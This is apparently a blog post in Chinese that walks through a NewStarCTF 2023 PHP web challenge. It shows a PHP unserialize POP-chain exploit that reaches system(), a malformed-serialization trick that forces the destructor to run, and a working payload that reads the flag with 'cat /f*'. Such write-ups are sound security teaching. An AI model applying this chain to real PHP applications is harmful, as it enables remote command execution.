NewStarCTF 2023 WEEK4|WEB More Fast

题目

<?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55

我们最终要利用
web中的
($this->func)($this->var);
然后找触发evil()的地方然后再往上一直找就可以了
简单的pop链
Web(evil())->Pwn(__invoke())->Reverse(__get($var))->Crypto(__toString())->Start

<?php
class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __construct()
    {
        $this->obj = new web();
    }
}

class Reverse{
    public $func;
    public function __construct()
    {
        $this->func = new Pwn();
    }
}

class Web{
    public $func='system';
    public $var='ls';
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __construct()
    {
        $this->obj = new Reverse();
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

$a = new Start();
$a->errMsg=new Crypto();
echo serialize($a);
//O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:2:"ls";}}}}}

但是题目最后有一个抛出异常
它会导致最后的引线Start的__destruct()不能被触发
但是我们有其他办法
当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。

  1. 改掉属性的个数
  2. 删掉结尾的}
    我们这里删掉结尾结尾的}即可
fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}
//过滤了flag我们用f*即可
posted @ 2024-08-01 19:40  DGhh  阅读(1)  评论(0编辑  收藏  举报